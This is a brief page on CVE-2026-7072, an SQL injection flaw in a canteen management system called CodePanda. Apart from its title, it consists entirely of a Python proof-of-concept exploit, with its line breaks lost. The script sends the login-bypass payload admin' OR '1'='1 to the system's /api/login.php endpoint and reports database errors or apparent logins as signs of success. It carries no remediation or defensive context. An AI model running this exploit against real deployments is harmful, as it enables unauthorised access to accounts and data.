CVE-2026-7072 CodePanda食堂管理系统SQL注入漏洞

import requests def exploit_sql_injection(target_url): """ Proof of Concept for CVE-2026-7072 Tests for SQL Injection in the Username parameter. """ login_endpoint = target_url + "/api/login.php" # Payload example: ' OR '1'='1 to bypass login or trigger SQL syntax error payload = { "Username": "admin' OR '1'='1", "Password": "any_password" } try: response = requests.post(login_endpoint, data=payload, timeout=10) # Analyze response to check for vulnerability indicators if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Check for common SQL error messages or successful login indicators if "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[!] Potential SQL Injection detected via database error message.") elif "welcome" in response.text.lower() or "success" in response.text.lower(): print("[!] Potential SQL Injection detected - Login bypass possible.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1" exploit_sql_injection(target)